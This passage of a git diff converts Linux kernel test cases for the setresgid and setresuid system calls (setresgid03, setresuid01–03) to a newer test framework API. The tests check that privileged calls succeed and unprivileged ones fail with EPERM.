-		tst_brkm(TBROK, NULL, "nobody user id doesn't exist");
-
-	}
-	nobody = *passwd_p;
-	GID16_CHECK((nobody_gid = nobody.pw_gid), "setresgid", cleanup)
-
-	/* Set effective/saved gid to nobody */
-	if (setresgid(-1, nobody_gid, nobody_gid) == -1) {
-		tst_brkm(TBROK, NULL, "setup() failed for setting while"
-			 " setting real/effective/saved gid");
-
-	}
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -c option.
-	 */
-	TEST_PAUSE;
-}
-
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.test = run,
+	.tcnt = ARRAY_SIZE(test_cases),
+	.setup = setup,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/setresgid/setresgid03.c b/testcases/kernel/syscalls/setresgid/setresgid03.c
index 78c8948..4f6bc6a 100644
--- a/testcases/kernel/syscalls/setresgid/setresgid03.c
+++ b/testcases/kernel/syscalls/setresgid/setresgid03.c
@@ -1,233 +1,81 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ *    AUTHOR: Madhu T L <madhu.tarikere@wipro.com>
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
  */
-/**********************************************************
- *
- *    TEST IDENTIFIER   : setresgid03
- *
- *    EXECUTED BY       : root / superuser
- *
- *    TEST TITLE        : Checking error conditions for setresgid(2)
- *
- *    TEST CASE TOTAL   : 4
- *
- *    AUTHOR            : Madhu T L <madhu.tarikere@wipro.com>
- *
- *    SIGNALS
- *      Uses SIGUSR1 to pause before test if option set.
- *      (See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *      Verify that,
- *	1. setresgid(2) fails with EPERM for unprivileged user in setting
- *	   saved group id.
- *	2. setresgid(2) fails with EPERM for unprivileged user in setting
- *	   effective group id.
- *	3. setresgid(2) fails with EPERM for unprivileged user in setting
- *	   real group id.
- *	4. setresgid(2) fails with EPERM for unprivileged user in setting
- *	   real/effective/saved group id.
- *
- *      Setup:
- *	  Setup signal handling.
- *	  Test caller is superuser
- *	  Check existence of user id's root/bin/nobody
- *	  Set real/effective/saved gid to nobody
- *	  Set effective uid to nobody
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return value, errno and functionality, if success,
- *		 Issue PASS message
- *	Otherwise,
- *		Issue FAIL message
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  setresgid03 [-c n] [-e] [-f] [-h] [-i n] [-I x] [-p] [-P x] [-t]
- *		where,  -c n : Run n copies concurrently.
- *			-e   : Turn on errno logging.
- *			-f   : Turn off functional testing
- *			-h   : Show help screen
- *			-i n : Execute test n times.
- *			-I x : Execute test for x seconds.
- *			-p   : Pause for SIGUSR1 before starting
- *			-P x : Pause for x seconds between iterations.
- *			-t   : Turn on syscall timing.
- *
- ****************************************************************/
 
-#define _GNU_SOURCE 1
-#include <errno.h>
-#include <pwd.h>
+/*\
+ * [Description]
+ *
+ * Verify that setresgid() fails with EPERM if unprivileged user tries to set
+ * process group ID which requires higher permissions.
+ */
+
 #include <sys/types.h>
-#include <unistd.h>
-#include "test.h"
-#include "safe_macros.h"
-#include "compat_16.h"
+#include <pwd.h>
 
-#define EXP_RET_VAL	-1
-#define EXP_ERRNO	EPERM
-#define TEST_DESC	"unprivileged user"
+#include "tst_test.h"
+#include "tst_uid.h"
+#include "compat_tst_16.h"
 
-struct test_case_t {		/* test case structure */
-	uid_t *rgid;		/* real GID */
-	uid_t *egid;		/* effective GID */
-	uid_t *sgid;		/* saved GID */
-	struct passwd *exp_rgid;	/* Expected real GID */
-	struct passwd *exp_egid;	/* Expected effective GID */
-	struct passwd *exp_sgid;	/* Expected saved GID */
+struct test_case_t {
+	gid_t *rgid;
+	gid_t *egid;
+	gid_t *sgid;
+	gid_t *exp_rgid;
+	gid_t *exp_egid;
+	gid_t *exp_sgid;
+	char *desc;
 };
 
-TCID_DEFINE(setresgid03);
-static int testno;
-static struct passwd nobody, bin, root;
-static uid_t nobody_gid, bin_gid, neg = -1;
+static gid_t nobody_gid, other_gid, neg = -1;
 
-static int test_functionality(uid_t, uid_t, uid_t);
-static void setup(void);
-static void cleanup(void);
-
-static struct test_case_t tdat[] = {
-	{&neg, &neg, &bin.pw_gid, &nobody, &nobody, &nobody},
-	{&neg, &bin.pw_gid, &neg, &nobody, &nobody, &nobody},
-	{&bin.pw_gid, &neg, &neg, &nobody, &nobody, &nobody},
-	{&bin.pw_gid, &bin.pw_gid, &bin.pw_gid, &nobody, &nobody, &nobody},
+static struct test_case_t test_cases[] = {
+	{&neg, &neg, &other_gid, &nobody_gid, &nobody_gid, &nobody_gid,
+		"setresgid(-1, -1, other)"},
+	{&neg, &other_gid, &neg, &nobody_gid, &nobody_gid, &nobody_gid,
+		"setresgid(-1, other, -1)"},
+	{&other_gid, &neg, &neg, &nobody_gid, &nobody_gid, &nobody_gid,
+		"setresgid(other, -1, -1)"},
+	{&other_gid, &other_gid, &other_gid, &nobody_gid, &nobody_gid,
+		&nobody_gid, "setresgid(other, other, other)"},
 };
 
-int TST_TOTAL = sizeof(tdat) / sizeof(tdat[0]);
-
-int main(int argc, char **argv)
+static void setup(void)
 {
-	int lc;
+	gid_t test_groups[2];
+	struct passwd *pw = SAFE_GETPWNAM("nobody");
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	nobody_gid = test_groups[0] = pw->pw_gid;
+	tst_get_gids(test_groups, 1, 2);
+	other_gid = test_groups[1];
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-
-			TEST(SETRESGID(cleanup, *tdat[testno].rgid, *tdat[testno].egid,
-				       *tdat[testno].sgid));
-
-			if ((TEST_RETURN == EXP_RET_VAL) &&
-			    (TEST_ERRNO == EXP_ERRNO)) {
-
-				if (!test_functionality
-				    (tdat[testno].exp_rgid->pw_gid,
-				     tdat[testno].exp_egid->pw_gid,
-				     tdat[testno].exp_sgid->pw_gid)) {
-
-					tst_resm(TPASS, "setresgid() failed as "
-						 "expected for %s : errno %d",
-						 TEST_DESC, TEST_ERRNO);
-				} else {
-					tst_resm(TFAIL, "Functionality test "
-						 "for setresgid() for %s failed",
-						 TEST_DESC);
-				}
-
-			} else {
-				tst_resm(TFAIL, "setresgid() returned "
-					 "unexpected results for %s ; returned"
-					 " %ld (expected %d), errno %d (expected"
-					 " %d)", TEST_DESC,
-					 TEST_RETURN, EXP_RET_VAL, TEST_ERRNO,
-					 EXP_ERRNO);
-			}
-		}
-	}
-	cleanup();
-
-	tst_exit();
-}
-
-static int test_functionality(uid_t exp_rgid, uid_t exp_egid, uid_t exp_sgid)
-{
-	uid_t cur_rgid, cur_egid, cur_sgid;
-
-	/* Get current real, effective and saved group id */
-	SAFE_GETRESGID(cleanup, &cur_rgid, &cur_egid, &cur_sgid);
-
-	if ((cur_rgid == exp_rgid) && (cur_egid == exp_egid)
-	    && (cur_sgid == exp_sgid)) {
-		return 0;
-	}
-	return 1;
-}
-
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
-{
-	struct passwd *passwd_p;
-
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	if ((passwd_p = getpwnam("root")) == NULL) {
-		tst_brkm(TBROK, NULL, "getpwnam() failed for root");
-
-	}
-	root = *passwd_p;
-
-	if ((passwd_p = getpwnam("bin")) == NULL) {
-		tst_brkm(TBROK, NULL, "bin user id doesn't exist");
-
-	}
-	bin = *passwd_p;
-	GID16_CHECK((bin_gid = bin.pw_gid), "setresgid", cleanup)
-
-	if ((passwd_p = getpwnam("nobody")) == NULL) {
-		tst_brkm(TBROK, NULL, "nobody user id doesn't exist");
-
-	}
-	nobody = *passwd_p;
-	GID16_CHECK((nobody_gid = nobody.pw_gid), "setresgid", cleanup)
+	GID16_CHECK(nobody_gid, setresgid);
+	GID16_CHECK(other_gid, setresgid);
 
 	/* Set real/effective/saved gid to nobody */
-	if (setresgid(nobody_gid, nobody_gid, nobody_gid) == -1) {
-		tst_brkm(TBROK, NULL, "setup() failed for setting while"
-			 " setting real/effective/saved gid");
-	}
-	/* Set euid to nobody */
-	SAFE_SETUID(NULL, nobody.pw_uid);
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -c option.
-	 */
-	TEST_PAUSE;
+	SAFE_SETRESGID(nobody_gid, nobody_gid, nobody_gid);
+	SAFE_SETUID(pw->pw_uid);
 }
 
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
+static void run(unsigned int n)
 {
+	const struct test_case_t *tc = test_cases + n;
 
+	TST_EXP_FAIL(SETRESGID(*tc->rgid, *tc->egid, *tc->sgid), EPERM, "%s",
+		tc->desc);
+
+	if (!TST_PASS)
+		return;
+
+	tst_check_resgid(tc->desc, *tc->exp_rgid, *tc->exp_egid,
+		*tc->exp_sgid);
 }
+
+static struct tst_test test = {
+	.test = run,
+	.tcnt = ARRAY_SIZE(test_cases),
+	.setup = setup,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/setresuid/setresuid01.c b/testcases/kernel/syscalls/setresuid/setresuid01.c
index 9f44889..196e037 100644
--- a/testcases/kernel/syscalls/setresuid/setresuid01.c
+++ b/testcases/kernel/syscalls/setresuid/setresuid01.c
@@ -1,221 +1,83 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ *	07/2001 ported by John George
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
  */
 
-/*
- * NAME
- * 	setresuid01.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- * 	Test setresuid() when executed by root.
- *
- * ALGORITHM
- *
- *	Setup:
- *	  Setup signal handling
- *	  Get user information.
- *	  Pause for SIGUSER1 if option specified.
- *	Setup test values.
- *	Loop if the proper options are given.
- *	For each test execute the system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise,
- *		Verify the Functionality of system call
- *		if successful,
- *			Issue Functionality-Pass message.
- *		Otherwise,
- *			Issue Functionality-Fail message.
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given.
- *
- * USAGE:  <for command-line>
- *	setresuid01 [-c n] [-e] [-f] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-f   : Turn off functionality Testing.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- * History
- *	07/2001 John George
- *		-Ported
- *
- * Restrictions
- * 	This test must be ran as root.
- *	nobody and bin must be valid users.
+ * Test setresuid() when executed by root.
  */
 
-#define _GNU_SOURCE 1
-#include <pwd.h>
-#include <stdlib.h>
-#include <string.h>
-#include "test.h"
-#include <errno.h>
-#include "compat_16.h"
+#include "tst_test.h"
+#include "tst_uid.h"
+#include "compat_tst_16.h"
 
-TCID_DEFINE(setresuid01);
+static uid_t root_uid, main_uid, other_uid, neg_one = -1;
 
-uid_t nobody_pw_uid, root_pw_uid, bin_pw_uid;
-uid_t neg_one = -1;
-
-struct passwd nobody, bin, root;
-
-/*
- * The following structure contains all test data.  Each structure in the array
- * is used for a separate test.  The tests are executed in the for loop below.
- */
-
-struct test_data_t {
+static struct test_data_t {
 	uid_t *real_uid;
 	uid_t *eff_uid;
 	uid_t *sav_uid;
-	struct passwd *exp_real_usr;
-	struct passwd *exp_eff_usr;
-	struct passwd *exp_sav_usr;
+	uid_t *exp_real_uid;
+	uid_t *exp_eff_uid;
+	uid_t *exp_sav_uid;
 	char *test_msg;
 } test_data[] = {
-	{
-	&neg_one, &neg_one, &neg_one, &root, &root, &root,
-		    "After setresuid(-1, -1, -1),"}, {
-	&neg_one, &neg_one, &nobody_pw_uid, &root, &root, &nobody,
-		    "After setresuid(-1, -1, nobody),"}, {
-	&neg_one, &bin_pw_uid, &neg_one, &root, &bin, &nobody,
-		    "After setresuid(-1, bin, -1),"}, {
-	&neg_one, &neg_one, &root_pw_uid, &root, &bin, &root,
-		    "After setresuid(-1, -1, root),"}, {
-	&neg_one, &neg_one, &bin_pw_uid, &root, &bin, &bin,
-		    "After setresuid(-1, -1, bin),"}, {
-	&neg_one, &root_pw_uid, &neg_one, &root, &root, &bin,
-		    "After setresuid(-1, root, -1),"}, {
-	&nobody_pw_uid, &neg_one, &neg_one, &nobody, &root, &bin,
-		    "After setresuid(nobody, -1, -1)"}, {
-	&neg_one, &root_pw_uid, &neg_one, &nobody, &root, &bin,
-		    "After setresuid(-1, root, -1),"}, {
-&root_pw_uid, &neg_one, &root_pw_uid, &root, &root, &root,
-		    "After setresuid(root, -1, -1),"},};
+	{&neg_one, &neg_one, &neg_one, &root_uid, &root_uid, &root_uid,
+		"After setresuid(-1, -1, -1),"},
+	{&neg_one, &neg_one, &main_uid, &root_uid, &root_uid, &main_uid,
+		"After setresuid(-1, -1, main),"},
+	{&neg_one, &other_uid, &neg_one, &root_uid, &other_uid, &main_uid,
+		"After setresuid(-1, other, -1),"},
+	{&neg_one, &neg_one, &root_uid, &root_uid, &other_uid, &root_uid,
+		"After setresuid(-1, -1, root),"},
+	{&neg_one, &neg_one, &other_uid, &root_uid, &other_uid, &other_uid,
+		"After setresuid(-1, -1, other),"},
+	{&neg_one, &root_uid, &neg_one, &root_uid, &root_uid, &other_uid,
+		"After setresuid(-1, root, -1),"},
+	{&main_uid, &neg_one, &neg_one, &main_uid, &root_uid, &other_uid,
+		"After setresuid(main, -1, -1)"},
+	{&neg_one, &root_uid, &neg_one, &main_uid, &root_uid, &other_uid,
+		"After setresuid(-1, root, -1),"},
+	{&root_uid, &neg_one, &root_uid, &root_uid, &root_uid, &root_uid,
+		"After setresuid(root, -1, -1),"},
+};
 
-int TST_TOTAL = sizeof(test_data) / sizeof(test_data[0]);
-
-void setup(void);
-void cleanup(void);
-
-void
-uid_verify(struct passwd *ru, struct passwd *eu, struct passwd *su, char *when);
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
+	uid_t test_users[2];
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	root_uid = getuid();
+	tst_get_uids(test_users, 0, 2);
+	main_uid = test_users[0];
+	other_uid = test_users[1];
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		int i;
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			/* Set the real, effective or user id */
-			TEST(SETRESUID(cleanup, *test_data[i].real_uid,
-				       *test_data[i].eff_uid,
-				       *test_data[i].sav_uid));
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL, "setresuid(%d, %d, %d) failed",
-					 *test_data[i].real_uid,
-					 *test_data[i].eff_uid,
-					 *test_data[i].sav_uid);
-			} else {
-				uid_verify(test_data[i].exp_real_usr,
-					   test_data[i].exp_eff_usr,
-					   test_data[i].exp_sav_usr,
-					   test_data[i].test_msg);
-			}
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	UID16_CHECK(root_uid, setresuid);
+	UID16_CHECK(main_uid, setresuid);
+	UID16_CHECK(other_uid, setresuid);
 }
 
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
+static void run(unsigned int n)
 {
-	tst_require_root();
+	const struct test_data_t *tc = test_data + n;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
+	TST_EXP_PASS_SILENT(SETRESUID(*tc->real_uid, *tc->eff_uid,
+		*tc->sav_uid), "%s", tc->test_msg);
 
-	if (getpwnam("nobody") == NULL) {
-		tst_brkm(TBROK, NULL, "nobody must be a valid user.");
-	}
+	if (!TST_PASS)
+		return;
 
-	if (getpwnam("bin") == NULL) {
-		tst_brkm(TBROK, NULL, "bin must be a valid user.");
-	}
-
-	root = *(getpwnam("root"));
-	UID16_CHECK((root_pw_uid = root.pw_uid), "setresuid", cleanup)
-
-	nobody = *(getpwnam("nobody"));
-	UID16_CHECK((nobody_pw_uid = nobody.pw_uid), "setresuid", cleanup)
-
-	bin = *(getpwnam("bin"));
-	UID16_CHECK((bin_pw_uid = bin.pw_uid), "setresuid", cleanup)
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -c option.
-	 */
-	TEST_PAUSE;
+	if (tst_check_resuid(tc->test_msg, *tc->exp_real_uid,
+		*tc->exp_eff_uid, *tc->exp_sav_uid))
+		tst_res(TPASS, "%s works as expected", tc->test_msg);
 }
 
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
-{
-
-}
-
-void
-uid_verify(struct passwd *ru, struct passwd *eu, struct passwd *su, char *when)
-{
-	uid_t cur_ru, cur_eu, cur_su;
-	if (getresuid(&cur_ru, &cur_eu, &cur_su) != 0) {
-		tst_brkm(TBROK, cleanup, "Set getresuid() failed");
-	}
-	if ((cur_ru != ru->pw_uid) || (cur_eu != eu->pw_uid) || (cur_su !=
-								 su->pw_uid)) {
-		tst_resm(TFAIL, "ERROR: %s real uid = %d; effective uid = %d; "
-			 "saved uid = %d", when, cur_ru, cur_eu, cur_su);
-		tst_resm(TINFO, "Expected: real uid = %d, effective uid = %d "
-			 "saved uid = %d", ru->pw_uid, eu->pw_uid, su->pw_uid);
-	} else {
-		tst_resm(TPASS,
-			 "real uid = %d, effective uid = %d, and saved uid = "
-			 "%d as expected", cur_ru, cur_eu, cur_su);
-	}
-}
+static struct tst_test test = {
+	.test = run,
+	.tcnt = ARRAY_SIZE(test_data),
+	.setup = setup,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/setresuid/setresuid02.c b/testcases/kernel/syscalls/setresuid/setresuid02.c
index 87c5eab..0931d2a 100644
--- a/testcases/kernel/syscalls/setresuid/setresuid02.c
+++ b/testcases/kernel/syscalls/setresuid/setresuid02.c
@@ -1,232 +1,80 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ *	07/2001 ported by John George
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
  */
 
-/*
- * NAME
- * 	setresuid02.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- * 	Test that a non-root user can change the real, effective and saved
- *	uid values through the setresuid system call.
- *
- * ALGORITHM
- *
- *	Setup:
- *	  Setup signal handling
- *	  Get user information.
- *	  Pause for SIGUSER1 if option specified.
- *
- *	Setup test values.
- *	Loop if the proper options are given.
- * 	For each test set execute the system call
- * 	  Check that we received the expected result.
- *	  Verify that the uid, euid and suid values are still correct.
- *	Cleanup:
- *	  Print errno log and/or timing stats if option given.
- *
- * USAGE:  <for command-line>
- *	setresuid02 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-f   : Turn off functionality Testing.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * History
- *	07/2001 John George
- *		-Ported
- *
- * Restrictions
- * 	This test must be run by root.
- *	nobody and bin must be a valid users.
+ * Test that a non-root user can change the real, effective and saved uid
+ * values through the setresuid system call.
  */
 
 #define _GNU_SOURCE 1
+#include <sys/types.h>
 #include <pwd.h>
-#include <stdlib.h>
-#include "test.h"
-#include <errno.h>
-#include <sys/wait.h>
-#include "compat_16.h"
 
-TCID_DEFINE(setresuid02);
+#include "tst_test.h"
+#include "tst_uid.h"
+#include "compat_tst_16.h"
 
-uid_t neg_one = -1;
+static uid_t nobody_uid, other_uid, neg_one = -1;
 
-/* flag to tell parent if child passed or failed. */
-int flag = 0;
-
-uid_t nobody_pw_uid, bin_pw_uid;
-char user1name[] = "nobody";
-char user2name[] = "bin";
-
-struct passwd nobody, bin;
-
-/*
- * The following structure contains all test data.  Each structure in the array
- * is used for a separate test.  The tests are executed in the for loop below.
- */
-
-struct test_data_t {
+static struct test_data_t {
 	uid_t *real_uid;
 	uid_t *eff_uid;
 	uid_t *sav_uid;
-	struct passwd *exp_real_usr;
-	struct passwd *exp_eff_usr;
-	struct passwd *exp_sav_usr;
+	uid_t *exp_real_uid;
+	uid_t *exp_eff_uid;
+	uid_t *exp_sav_uid;
 	char *test_msg;
 } test_data[] = {
-	{
-	&neg_one, &neg_one, &bin_pw_uid, &nobody, &bin, &bin,
-		    "After setresuid(-1, -1, bin),"}, {
-	&neg_one, &nobody_pw_uid, &neg_one, &nobody, &nobody, &bin,
-		    "After setresuid(-1, nobody -1),"}, {
-&bin_pw_uid, &neg_one, &neg_one, &bin, &nobody, &bin,
-		    "After setresuid(bin, -1 -1),"},};
+	{&neg_one, &neg_one, &other_uid, &nobody_uid, &other_uid, &other_uid,
+		"setresuid(-1, -1, other)"},
+	{&neg_one, &nobody_uid, &neg_one, &nobody_uid, &nobody_uid, &other_uid,
+		"setresuid(-1, nobody -1)"},
+	{&other_uid, &neg_one, &neg_one, &other_uid, &nobody_uid, &other_uid,
+		"setresuid(other, -1 -1)"},
+	/* Return to initial state */
+	{&nobody_uid, &other_uid, &nobody_uid, &nobody_uid, &other_uid,
+		&nobody_uid, "setresuid(nobody, other, nobody)"},
+};
 
-int TST_TOTAL = sizeof(test_data) / sizeof(test_data[0]);
-
-void setup(void);
-void cleanup(void);
-
-void
-uid_verify(struct passwd *ru, struct passwd *eu, struct passwd *su, char *);
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
+	uid_t test_users[2];
+	struct passwd *pw = SAFE_GETPWNAM("nobody");
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	nobody_uid = test_users[0] = pw->pw_uid;
+	tst_get_uids(test_users, 1, 2);
+	other_uid = test_users[1];
 
-	setup();
+	UID16_CHECK(nobody_uid, setresuid);
+	UID16_CHECK(other_uid, setresuid);
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		int i, pid;
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/* set the appropriate ownership values */
-		if (setresuid(nobody_pw_uid, bin_pw_uid, nobody_pw_uid) == -1) {
-			tst_brkm(TFAIL, cleanup, "Initial setresuid failed");
-		}
-
-		if ((pid = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, cleanup, "fork failed");
-		} else if (pid == 0) {	/* child */
-
-			for (i = 0; i < TST_TOTAL; i++) {
-
-				/* Set the real, effective or saved user id */
-				TEST(SETRESUID(NULL, *test_data[i].real_uid,
-					       *test_data[i].eff_uid,
-					       *test_data[i].sav_uid));
-
-				if (TEST_RETURN != -1) {
-					tst_resm(TPASS, "setresuid(%d, %d, %d) "
-						 "succeeded as expected.",
-						 *test_data[i].real_uid,
-						 *test_data[i].eff_uid,
-						 *test_data[i].sav_uid);
-				} else {
-					tst_resm(TFAIL, "setresuid(%d, %d, %d) "
-						 "did not return as expected.",
-						 *test_data[i].real_uid,
-						 *test_data[i].eff_uid,
-						 *test_data[i].sav_uid);
-					flag = -1;
-				}
-
-				uid_verify(test_data[i].exp_real_usr,
-					   test_data[i].exp_eff_usr,
-					   test_data[i].exp_sav_usr,
-					   test_data[i].test_msg);
-			}
-			exit(flag);
-		} else {	/* parent */
-			tst_record_childstatus(cleanup, pid);
-		}
-	}
-	cleanup();
-	tst_exit();
+	SAFE_SETRESUID(nobody_uid, other_uid, nobody_uid);
 }
 
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
+static void run(unsigned int n)
 {
-	tst_require_root();
+	const struct test_data_t *tc = test_data + n;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
+	TST_EXP_PASS_SILENT(SETRESUID(*tc->real_uid, *tc->eff_uid,
+		*tc->sav_uid), "%s", tc->test_msg);
 
-	if (getpwnam("nobody") == NULL) {
-		tst_brkm(TBROK, NULL, "nobody must be a valid user.");
-	}
+	if (!TST_PASS)
+		return;
 
-	if (getpwnam("bin") == NULL) {
-		tst_brkm(TBROK, NULL, "bin must be a valid user.");
-	}
-
-	nobody = *(getpwnam("nobody"));
-	UID16_CHECK((nobody_pw_uid = nobody.pw_uid), "setresuid", cleanup)
-
-	bin = *(getpwnam("bin"));
-	UID16_CHECK((bin_pw_uid = bin.pw_uid), "setresuid", cleanup)
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -i option.
-	 * You want to make sure you do this before you create your temporary
-	 * directory.
-	 */
-	TEST_PAUSE;
+	if (tst_check_resuid(tc->test_msg, *tc->exp_real_uid,
+		*tc->exp_eff_uid, *tc->exp_sav_uid))
+		tst_res(TPASS, "%s works as expected", tc->test_msg);
 }
 
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
-{
-
-}
-
-void
-uid_verify(struct passwd *ru, struct passwd *eu, struct passwd *su, char *when)
-{
-	uid_t cur_ru, cur_eu, cur_su;
-	if (getresuid(&cur_ru, &cur_eu, &cur_su) != 0) {
-		flag = -1;
-		tst_brkm(TBROK, cleanup, "Set getresuid() failed");
-	}
-	if ((cur_ru != ru->pw_uid) || (cur_eu != eu->pw_uid) || (cur_su !=
-								 su->pw_uid)) {
-		tst_resm(TFAIL, "ERROR: %s real uid = %d; effective uid = %d; "
-			 "saved uid = %d", when, cur_ru, cur_eu, cur_su);
-		tst_resm(TINFO, "Expected: real uid = %d, effective uid = %d "
-			 "saved uid = %d", ru->pw_uid, eu->pw_uid, su->pw_uid);
-		flag = -1;
-	} else {
-		tst_resm(TINFO, "real uid = %d, effective uid = %d, and "
-			 "saved uid = %d as expected", cur_ru, cur_eu, cur_su);
-	}
-}
+static struct tst_test test = {
+	.test = run,
+	.tcnt = ARRAY_SIZE(test_data),
+	.setup = setup,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/setresuid/setresuid03.c b/testcases/kernel/syscalls/setresuid/setresuid03.c
index ea06e02..f1518c7 100644
--- a/testcases/kernel/syscalls/setresuid/setresuid03.c
+++ b/testcases/kernel/syscalls/setresuid/setresuid03.c
@@ -1,245 +1,76 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *	07/2001 ported by John George
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
  */
 
-/*
- * NAME
- * 	setresuid03.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- * 	Test that the setresuid system call sets the proper errno
- *	values when a non-root user attempts to change the real, effective or
- *	saved uid to a value other than one of the current uid, the current
- *	effective uid of the current saved uid.  Also verify that setresuid
- *	fails if an invalid uid value is given.
- *
- * ALGORITHM
- *
- *	Setup:
- *	  Setup signal handling
- *	  Get user information.
- *	  Pause for SIGUSER1 if option specified.
- *
- *	Setup test values.
- *	Loop if the proper options are given.
- * 	For each test set execute the system call
- * 	  Check that we received the expected result.
- *	  Verify that the uid, euid and suid values are still correct.
- *	Cleanup:
- *	  Print errno log and/or timing stats if option given.
- *
- * USAGE:  <for command-line>
